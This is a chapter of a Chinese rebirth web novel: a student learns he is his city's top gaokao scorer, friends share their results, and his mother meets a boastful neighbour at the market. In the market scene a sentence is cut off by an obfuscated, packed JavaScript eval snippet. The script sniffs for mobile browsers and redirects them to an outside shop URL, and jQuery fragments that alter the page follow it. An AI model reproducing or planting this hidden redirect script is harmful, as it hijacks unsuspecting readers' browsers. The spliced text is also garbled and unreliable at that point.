六月二十五号，星期二。
宋星燃是被电话吵醒的。
不是闹钟。闹钟没响——他昨晚特意关了，想睡到自然醒。结果手机在床头柜上震得像台小型搅拌机，屏幕亮着，来电显示：张桂兰。
他看了一眼时间。七点零三分。出分是九点。
"宋星燃。"
"你起来了吗。"张桂兰的声音跟平时上课一模一样——不紧不慢，每个字都落在恰好的位置上。
"刚醒。"
"那就起来洗脸。查分网站九点开放，提前十分钟登录，别等到点了一窝蜂挤——服务器会崩。账号是你准考证号，密码是你身份证后六位。准考证号还记得吗？"
"记得。"
"身份证呢？"
"也记得。"
"好。"她停了一下。"查完之后给我打个电话。不是发消息——打电话。不管考多少分，我都要听你亲口说。"
"知道了。"
"还有一件事——"
"张老师，你现在说的事已经超过三件了。"
电话那头安静了两秒。然后张桂兰用一种很克制的语气说了句："你高考都考完了嘴还这么贫。"
"你教的。"
张桂兰没接话。但挂电话之前他听到了一声很轻的笑——不是笑出声，是鼻腔里喷了一下气，像被呛到。她连笑都克制。
宋星燃把手机放下，翻身下床。
洗脸的时候水龙头开到最大，凉水浇在脸上激得头皮一紧。他用毛巾擦干，抬头看镜子里的自己。额前的碎发还在滴水，眼睛里的睡意还没散干净，但瞳孔是清醒的——那种带着重量的清醒，像暴风雨之前天空压得很低的云层。
他没慌。但也不是完全平静。
心里有一根弦绷着，不是紧张，是等待。像站在起跑线上等发令枪——你知道自己练够了，但枪没响之前，谁都不敢说第一个跨出去的是你。
厨房里他妈已经在煮粥了。灶台上的白瓷锅咕嘟咕嘟冒着泡，蒸汽把窗户糊了一片。她正在切咸菜，刀落在砧板上咚咚咚地剁——节奏比平时快了半拍。宋星燃看了一眼她握刀的手指，指节有点发白。
"你起这么早干嘛。"他说。
"睡不着。"她没回头。
"又不是你考。"
"那我也睡不着。"
宋星燃倒了杯凉白开，靠在厨房门框上喝。他妈剁完了咸菜，又去搅粥。搅了三圈又回来剁咸菜——咸菜已经剁完了，她忘了。刀在砧板上空剁了两下，自己愣了一下，把刀放下了。
七点五十分。
他坐回书桌前，打开那台老台式电脑。主机箱嗡地一声启动，风扇呼呼地转，显示屏亮起来的瞬间闪了一道白线。桌面还是那张默认的蓝色背景——一片草地加一朵云，Windows系统自带的，他从高一用到现在没换过。
浏览器打开。省教育考试院的网站已经挂上了红色飘带——"2013年普通高等学校招生全国统一考试成绩查询"。字体是大红的楷体，加粗，下面是一行小字："查询时间：6月25日9:00起"。
他把准考证号输进一个记事本里存好。又把身份证号打了一遍，对着身份证核对了三遍。
八点半。他妈把粥端进了他的房间，放在桌角。"先吃。"
"放那儿。"
"凉了不好吃。"
"就放那儿。"
她没走。站在他背后，手里还攥着围裙角。红豆粥的热气飘过来，甜丝丝地钻进鼻子，跟他高一下学期期末出分那天一模一样——那回她也在门口站着，围裙角也是攥着的。
八点五十分。他刷新了一下页面。登陆入口亮了。
他点进去。
准考证号。粘贴。身份证号。后六位。验证码——四个歪歪扭扭的数字，他把屏幕亮度调低了一点才能看清。
鼠标指针悬在"查询"两个字上。
他那根绷了一早上的弦，在这一刻忽然松了一点点。不是因为不在乎——是因为该做的事都做完了。试卷填完了。笔盖合上了。在那个考场里他尽了一个高中生的全部本分。剩下的部分不需要他动手了。
他点了下去。
页面转了大概三秒钟。
浏览器上的那个小地球图标一圈一圈地转。他妈站在后面屏住了呼吸——他不用回头都知道她在屏气，因为围裙角摩擦的声音停了。
页面跳出来了。
省教育考试院，旁边是一张方方正正的成绩表格。表格最上面一行写着他的名字——"宋星燃"。往下一行是考号。再往下——各科分数和一串合计。
语文 136。数学 148。英语 142。理综 289。
总分：715。
省排名：0031。市排名：0001。
他盯着那四个数字看了一会儿。喉结滚了一下。然后做了件张桂兰要是看到了一定会批评他的事——他用手背擦了擦屏幕。不是屏幕脏。是下意识想确认那个数字不是沾在上面的灰尘。
715。市排名0001。
市状元。
房间里安静了整整五秒。他妈把头凑到屏幕前面，眼睛眯成一条缝——她有点老花，不太看得清屏幕上的字。
"多少？"她问，声音绷得像根快断的弦。
"715。"
"715是多少？能上清华吗？"
"能。"
"——那全省排多少？"
"三十一。"他说。省排名0031，全省第三十一名。
然后他看到了表格最右边的一行小字：2013年远安市普通高考理科类总分第一名。
他的眉毛动了一下。不是扬起来——是皱下来的。眉心挤出一道浅浅的竖痕，跟他做物理大题的时候一模一样。
他想到过成绩会高一些。
但他没想到自己会是市状元。
不是不自信。是他高三这一年从来没把"第一名"当成目标——他的目标是把自己所有能做的事都做到位。至于最后排第几名，那是别人的事。结果兜了一圈，别人把他排到了第一。
他手指在桌面上轻轻叩了两下。然后笑了。笑得很淡，嘴角往上扬了一点点又收了回去，像往池塘里扔了一颗很小的石子——涟漪还没散开就平了。
"你笑什么？"他妈紧张兮兮地问。
"没什么。"
"说实话——"
"真没什么。"他站起来，把椅子往后推了一步。"妈，你坐。"
"我坐什么——"
"你坐着。"他把座位让给她，自己在床沿上坐下来。然后用一种很平常的语调说了句："我考了个市第一。"
空气凝住了。
他妈张着嘴，嘴唇动了两下，一个字没说出来。然后她做了一件宋星燃从来没见她做过的事——她把手里的围裙角举起来，捂住了自己的嘴。不是擦眼泪——眼泪还没下来。是捂住了那种控制不住的、会从嗓子眼里冲出来的声音。
"——真的？"
"真的。"
"全市第一？"
"全市第一。"
她把围裙放下。又拿起来。又放下。手指在桌子上划了一下——不知道在摸什么，可能是鼠标，可能是键盘，可能是桌面上的什么痕迹。最后她抓起了手机。
"我得给你爸打电话——"她拨出号码的时候手指在抖，按了三遍才按对。电话接通的一瞬间她的声音就变了——不是平时的那个语调。平时跟他爸打电话是打机关枪，一句接一句不间断。现在是——
"老宋——儿子考了715——市第一——全市第一——"
电话那头的声音宋星燃听不太清。只听到一个字："啥？"然后是长长的沉默。再然后是他爸在车间里喊起来了——不是对着电话喊，是对着旁边的工友喊："我儿子考了市第一！！！"
声音穿过听筒跑出来，带着车间里机器的轰鸣声。他妈把手机稍稍从耳边挪开了一点，笑得眼泪终于掉下来了。不是哭。是笑出来的眼泪，跟嘴角一起往上翘的那种。
宋星燃坐在床沿上，看着窗外的梧桐树。六月末的叶子最绿，绿得发亮，像有人往每一片上涂了一层清漆。蝉又开始叫了。比高考那天叫得还响。
他低下头，给张桂兰打了个电话。
"多少。"张桂兰接得很快——快得像她一直在等这个电话。
"715。"
"市排名。"
"第一。"
电话那头安静了。安静了大概有十秒。然后她又开口，语气还是那副不紧不慢的调子，但末尾那个字没有咬住——有点颤。
"宋星燃。"
"嗯。"
"考得好。"她说。就三个字，说完她自己停了一下，像是在把那三个字重新嚼一遍。然后清了清嗓子："学校这边这两天会统计完所有毕业生的成绩，到时候会通知你。该领的奖金，该拍的照片，该做的招生宣传——一样都少不了你。"
"知道了。"
"还有——"她顿了一下，"市状元要在学校光荣榜上挂三年。照片你自己挑一张，别给我挑邋遢的。"
宋星燃笑了一声。"行。"
挂了电话之后他又看了一遍成绩表。语文136——比预估高了三分，作文应该是判得不错。数学148——两道选择题全对，扣的两分在大题步骤。英语142——完形填空全对，作文拿到了前两档的分。理综289——物理最后一题全做完了，化学没丢不该丢的分，生物有一个填空审题不太准。
没有特别出彩的地方。也没有明显的失误。
整体比他预估的高了五六分。比他摸底考少了整整一分。这个分数是合理的，跟他整个高三的水平完全吻合——没有超常发挥，也没有拉胯。
重生能告诉他人生的方向，但告诉不了他高考试卷的答案。这些分数是他在过去这些天里一天一天磨出来的，不多不少，就是他该有的那个位置。
他妈在客厅打电话，声音大得整栋楼都能听见。"——对——715——市第一——我们远安县的！我儿子！"然后是隔壁的声音——"真的假的？！""真的——刚查出来的！你自己看——"
不知道是哪个邻居，接着楼梯间里响起了咚咚咚的脚步声。再然后是敲门声，三下。
宋星燃去开门。是楼下那个开小卖部的阿姨。手里端着一盘切好的西瓜，瓜汁从盘沿淌下来，她一路端上来滴了一走廊。
"你妈说的——715？市第一？"
"嗯。"
"哎哟我的天——"她把西瓜盘子往他手里一塞，"吃——吃吃吃——不够楼下去拿——随便拿——"
她转身往外走的时候绊了一下门槛，差点摔倒，自己先笑起来了。"我高兴得脚都不好使了。"
宋星燃端着西瓜站在门口，看着走廊里逐渐围过来的人——楼上的、楼下的、隔壁单元的。消息像没有关龙头的自来水，顺着楼梯往下淌，一层湿一层，没到半小时整栋楼的邻居都知道了。
他回到房间的时候电脑屏幕已经自动休眠了。他晃了一下鼠标，成绩单重新亮起来。高分表格上的每一行字都安安静静地躺在属于自己的格子里，像考场上写下来的每一个答案——不声不响，但站得住。
楼下有个邻居叔叔扯着嗓子喊："宋家的——考了715——远安一中好几年没出过市状元了——"
他妈在客厅回了一句："没几年——我儿子就出了——"
——
九点半。苏晚柠的电话打过来了。
不是语音。是视频通话——信号不好，她的脸在屏幕上卡成马赛克，三秒之后才拼回来。她在机场，头发扎了马尾，还是那件洗得发软的白T恤。背景是一个红色灯箱，上面写着"昆明长水国际机场"。
"我查不了——我在机场信号太差了——网页刷了二十遍全是404——"她的声音急得变了调，像有人在后面撵着她。
"别急。"宋星燃说。"把你准考证号发我。"
苏晚柠低头翻手机——她的准考证号存在备忘录里，找了半天才找到，发过来的时候少打了一位。又补了一条。然后发了个五个感叹号过来。
宋星燃在电脑上输入她的信息。
页面加载。苏晚柠的分数跳出来了。
"你自己看。"他把手机翻过来，对准电脑屏幕。
苏晚柠盯着屏幕看了五秒。然后捂住了嘴。然后把手拿开了。然后又捂住了。
"——623。"
她用力拍了一下旁边的椅子——力气大得手机都晃了一下。宋星燃听到一阵噼里啪啦的声音，像是包从椅子上滑下去了。
"623！啊——"她往后退了一步，撞到了她爸的红旅行袋，"我理综居然考了231——我二模理综才216——"
"稳住。"
"我稳不住——我爸——爸——过来看——623——"
苏爸的脸挤进屏幕——还是那件洗得泛白的深灰色T恤。他凑近手机，眯着眼看了看分数，然后说了三个字："好。真好。"语气很平，脸上的皱纹却全部挤在了一起。苏妈的声音从镜头外面飘进来——"我就说——出分前我就跟你说了——623——跟我梦到的一模一样——"
苏晚柠把手机端稳了，深吸了一口气。她眼睛红了——睫毛尖上挂了点水光。"——够双一流了吧。"
"够。你高出往年线不少了。"他顿了一下说。
她低下头，用手指按了按眼角。没哭出来，但鼻头是粉的。
宋星燃看着她。前世她查分的场景他没见过——他那时候在人才市场投简历，连她的消息都没看。但后来从别人口中听说过。她去了省城一个普通的二本，学市场营销。毕业回县城考了五年公务员，没考上。
"苏晚柠。"他说。
"嗯？"
"你对新闻、中文那些还感兴趣吗？"
她愣了一下。"你怎么突然问这个——"
"623分。可以读一个不错的新闻系或者中文系了。但你不能只学纯文学——我之前在山顶跟你说的那个，还记得吗？"
"记得——别学纯文科。"
"对。如果你想去广州或者深圳——新闻传播类的，选一个偏新媒体或数据方向的专业。既有文字功底，又有技术门槛。毕业出路比纯新闻学宽。"
"你怎么连这个都研究过了——"
"帮你查的。"
苏晚柠张了张嘴。然后小声说了句："谢谢你。"
然后她的眼睛又瞪大了一圈——"对了——李可——"她压低声音，往旁边看了一眼——机场广播正好响了，她跑到另一个角落，"李可托我告诉你——她说她的分也能上个不错的985。"
"多少？"
"她说了——695。比上一世还高。宋星燃，你说她怎么这么能考。"
宋星燃点了点头。
李可上一世是远安一中第一名，687分。这一世的她比上一世开朗了太多——虽然还是话少，但心里压着的那块石头已经松了。分数高过苏晚柠，在他意料之中。
话还没说完，他的手机又震了。来电显示：赵磊。
他接起来。
"——星哥——"
一个字。然后没了。电话那头只有喘气的声音，粗的，急的，像刚跑完八百米。宋星燃等了两秒，没催。
"——星哥——我他妈519——我考上大学了——不是做梦——是真的——"
赵磊的声音在嚎。嚎的不知道是在哭还是在笑，两种声音混在一起，像水龙头开到了最大又拧错了方向。他听到赵磊那边有人在喊——是赵姨的声音，尖尖的，穿透力很强："磊磊——别喊了——邻居要投诉了——"
"不管——妈你别管——星哥——理综那道物理最后一题——步骤分——你说得对——全拿到了——全——拿——到——了——"
宋星燃把手机从耳边挪开了一点。赵磊的声浪太大了，震得话筒嗡嗡响。
"519。"他说，"超了多少。"
"十多分——去年一本线505——"
"稳了。"
"稳了——"赵磊又嚎了一声，这次像笑，因为后面跟着一串哈哈哈，气都快接不上了。然后电话那头哐当一响——像是人从椅子上滑下去了。赵姨的声音又飘过来："磊磊——你给我坐好——"
宋星燃笑了。
519。宋星燃在脑子里过了一遍去年一本线的数据。去年省一本线是505，今年如果差不多的话——赵磊高出十多分，稳了。
他拿起手机翻了两下。果然——赵磊连发了七条语音。他没有点开，但能看见每条时长都不超过十秒——这不符合赵磊的语音习惯。平时他发语音最少三十秒起步，最长一条突破过一分钟。变短的唯一解释是：他的手在抖，按不住录音键。
他在对话框里打了一行字：「饺子。我请你。」
赵磊秒回：「加两盘。」
「你请。」
「？？？不是说你请我吗？？？」
「说好的高考之后找你算账——你没忘吧。」
赵磊发了一串哈哈哈。
宋星燃放下手机。窗外阳光已经把梧桐叶晒卷了边。他妈的声音还在楼道里回荡——已经从"715"讲到了他小学拿了第一个三好学生的故事。她再讲下去就该讲到幼儿园掰手指算数学题了。他站起身，把窗户推开一道缝。
风灌进来，吹得桌上的红豆粥起了一层薄薄的皮。
——
下午四点半。宋妈终于拎着菜篮子出门了。
照常的路线——下楼，右转一百米，过两个路口，到菜市场。她在这个菜市场买了十几年菜，认识每一个摊位的老板。卖豆腐的是她小学同学，卖猪肉的是她老公单位的同事他老婆，卖菜心的是当年一起在供销社上过班的老姐妹。菜市场对她来说不是买菜的地方，是社交场。
她今天走得比平时慢。不是累——是高兴。高兴到每走两步就有人拦下她说话。
"哟——宋妈——你家儿子——"
"715——你也知道了？"
"整栋楼都知道了——"
"对对对——市第一——"
"啧啧啧——清华吧？"
"还没填志愿呢——先别急——分数线没出来——"她嘴上说着别急，脸上的褶子全部往上翘，从眼角到嘴角
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693270|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，一张脸像一朵盛开的菊花。
她买了一斤排骨，一斤带鱼，两把菜心，三个西红柿。经过水果摊的时候又多拿了一个西瓜——"这个重一点的好不好——不甜不要钱——我家孩子考了七幺五——"
"知道了宋妈——你说了八遍了——"
"怎么啦？说不得？我儿子——"
"说得说得——"卖水果的大姐笑着帮她挑西瓜。
然后她拎着菜往下一家摊位走的时候，停在了一个卖豆制品的摊位前。不是要买豆腐。是摊位旁边站着一个人。
——
王素芬。
穿着件碎花的短袖衬衫，手里拎着几个塑料袋——里面是半斤豆芽和一块豆腐。她低着头，正把找回的零钱往钱包里塞——钱包是那种老式的拉链包，人造革，红色，边角磨出了黑色的底。
宋妈看到她的时候愣了一下。大概三秒之后才认出来——不是王素芬变样了，是她的状态变了。以前在菜市场碰面，王素芬都是老远就打招呼——"哟——你也出来买菜？""你家星燃最近怎么样？""哎你听说没——我们家瑶瑶——"那种打招呼是带节奏的，每个"你看我家孩子"都压在"你看你家孩子"前面，像排练过的。
今天王素芬没有抬头。
她数完了零钱，把豆芽和豆腐码进布袋子里，拉上拉链。然后转身——撞上了宋妈的目光。
"——哦。"王素芬先开的口。嘴张开又合上了，像在想下一句话该怎么说。最后挤出来一个称谓："宋家嫂子。"
"素芬啊。"宋妈的声音比平时亮了好几个度，像调频广播突然转了台，手感都不一样了。"你也出来买菜？最近身体好吗？"
"还行——还行。"
"好久没在菜市场碰上你了。"宋妈说着，把西瓜换到左手——西瓜太重了，提了一会儿手就开始酸。但她没让别人看出来她在换手，动作行云流水。"我记得你以前都是早上买菜的吧。"
"——今儿下午——临时想包点饺子。"
"哦，包饺子好啊。韭菜馅儿？"
"——猪肉白菜。"
"猪肉白菜好——我家也爱吃。"宋妈把菜篮子往胳膊弯里挎了挎，脸上那个表情用最精准的词来形容就是——满面春光。不是假笑，不是客套，是那种从骨髓里往外冒的幸福感，藏不住也懒得藏。"对了——你还没问我家星燃考得怎么样呢。"
王素芬的手指在钱包上攥了一下。人造革被指甲掐出一道印子。
"——考得怎么样？"她问。声调是平的，但末尾的尾音往下滑了一点——不仔细听听不出来。
"哦——就那样吧。"宋妈笑着摆了摆手，手上的动作很轻很轻——轻得像在赶一只不存在的蚊子。"又考了一个第一。"
"年级第一？"
"年级第一？"宋妈笑了一声——不是嘲讽，是那种觉得别人的话不够准确但不想纠正的笑。"全市第一。"
王素芬没有马上接话。
她把钱包塞进布袋子里。又拿出来。又塞回去。那个红色的人造革表面被她的手指反复揉搓，已经起了一小块皱。
"715。"宋妈补了一句。"下午刚收到的班主任电话——省里排三十一。你说这孩子，平时看着不声不响的，一考就考个大的。我跟他爸还没反应过来呢，邻居们就已经在楼道里放鞭炮了——"
她说这一串话的时候嘴皮子快得像个接力赛运动员。每个"715"咬得又圆又润，像一颗刚从树上拍下来的核桃。高三这一年她忍了太久了——王素芬每次碰到她都要提"我们家瑶瑶"，从"瑶瑶这次又进步了"到"瑶瑶摸底考进前五十了"再到"瑶瑶二模又提了十分"。每一次都把"进步"两个字摁在她面前，像按一枚图钉——进了，进了，进了。
宋星燃教过她回什么——"进步快都是应该的"。她当时心想：我能忍，不跟她一般见识。
但她没想到——忍耐是有利息的。高考出分这天，连本带利一次性还给她了。
"——那你们家瑶瑶呢？"宋妈问。她问这句话的时候语气特别自然，像在问"今天的豆芽新鲜不新鲜"。
王素芬张了张嘴。有两秒的时间她的嘴唇在动但没有声音——不是没话说，是话太多，被堵住了喉咙。
"——还行。能上个大学。"她说完低下头翻布袋子——豆芽的塑料袋口子松了，有几根掉进袋子缝里，她蹲下去捡。
捡了三根。第四根没有捡——掉在菜市场潮湿的水泥地上，被来往的人踩了一脚，扁了。
宋妈看着她蹲下去的姿势，脸上的笑淡了一点点。不是不忍心——是心里忽然想起来一件事。去年冬天，王素芬在这里跟她说"我们家瑶瑶这次年级排名又进步了三十多名"的时候，她自己刚查完宋星燃的期末成绩——721，年级第一。但当时她只是笑了笑，说了句"那挺好的"。因为她怕——怕说多了人家觉得你嘚瑟，怕说少了人家觉得你心里有鬼。
今天她不说了。
不是忘了。是不想说了。
"大学都差不多——上了就行。"宋妈说。语气比刚才轻了很多。不是施舍的同情，是一个母亲对另一个母亲的本能——她再不喜欢王素芬的那种炫耀，也不想去踩一个已经低着头的人。
王素芬站起来。把豆芽塞进袋子最里面。然后抬头看了一眼宋妈——只一眼，很快，像有人用手电筒照了一下又灭掉了。
"——我先回去了。饺子馅还没剁。"她轻声说。
"好。改天来家里坐坐。"宋妈说。
改天是改到哪天，从来没人知道。菜市场道别，改天就是再见。但今天的改天，两个人都知道不会再有。
王素芬转身，绕过卖菜心的摊位，又绕过卖蒜头的小推车。她的背是弯的——不是驼背，是那种把肩膀往里收的弯。手里那个红色人造革钱包从袋子里滑出半个角，她也没察觉。
宋妈站在原地，看着她走远。手里的西瓜往下坠了一截，她才回过神来，换了一只手拎。
然后她听到了旁边的摊位有个人小声问："那是谁啊？"
"——王素芬。她女儿——姓郑——"另一个人的声音更小，"——刚过三本线。听说是全班最差的一个。"
"不可能吧——高一的时候不是挺能考的吗？"
"谁知道呢——"
宋妈没有回头。她拎着菜篮子走向下一个摊位——排骨。红烧排骨，她儿子爱吃。今天晚上要做顿好的。不是庆祝——是高兴。高兴这种事不需要理由，有了就做，做了就对。
她低头看了眼带鱼。十二块一斤，今天没砍价。
老板称完了她直接给钱，零头也没数。老板自己愣了一下，找了零递过去，她接过来往兜里一塞。然后她拎着满满两大袋菜，踩着菜市场的红灯和夕阳，一步一步走回了家。
走到楼下的时候她停了下来。抬头看了一眼三楼——宋星燃房间的窗户亮着灯。梧桐树的影子被晚风吹得摇来摇去，灯光从叶缝间漏出来，一闪一闪的。
她把菜放在地上，掏出手机给她爸打了个电话。
"你儿子考了715。我跟你说——市第一。今晚你下班早点回来。"
挂了之后她又往上看了一眼那扇窗。然后弯腰拎起菜，迈进了楼道。
——
晚饭是红烧排骨、清炒菜心和番茄鸡蛋汤。宋星燃吃了两碗饭。
他妈把排骨上最大的那块夹给了他，自己夹了块带骨头的——肉少，但好啃。她说她就喜欢吃带骨头的。他爸也挑带骨头的——"我喜欢啃。"他说。宋星燃看他俩在"骨头"这件事上互相谦让了一整顿饭。
饭后他回到房间，打开电脑。
公众号后台的私信爆了。
昨天的第五篇推送《出分前最后一件事》下面冒出了几百条留言。有人报了分，有人还在查，有人已经在问填报思路。他翻了翻——六百多的，五百多的，四百多的。每条留言背后都站着一个跟他一样刚从考场里走出来的人。有人高兴，有人沉默，有人打了一串省略号。
他在末尾看到一条留言——一个默认头像的用户写的，只有一行字：
「学长。我过三本线了。谢谢你的文章。」
他打了一行回复，又删了。最终什么都没回。不是不想回——是不知道说什么。恭喜不对，安慰也不对。在这种情况下，沉默比任何话都更合适。
他退出私信框，刷新首页。
关注数：12907。
一万两千九百零七个人。
他关掉电脑。床上的被子被他妈白天来晒过了，闻起来有一股太阳味。他把枕头拍松，躺下来，盯着天花板上的吊扇——还是那片歪着的扇叶，每转一圈磕一下，哒、哒、哒。
六月二十五号。晴天转多云，东南风二到三级，最高气温三十一度。
一切都变了。
后天开始写出分后的志愿填报系列——这回不是给所有人写，是给已经握着一个具体分数的人写。同样的分数，不同的出路。同样的志愿表，不同的选择。
他把双手枕在脑后，闭了一会儿眼。
窗外的蝉忽然停了一秒。然后叫得更响了。
——他们这一届的夏天，才刚刚开始。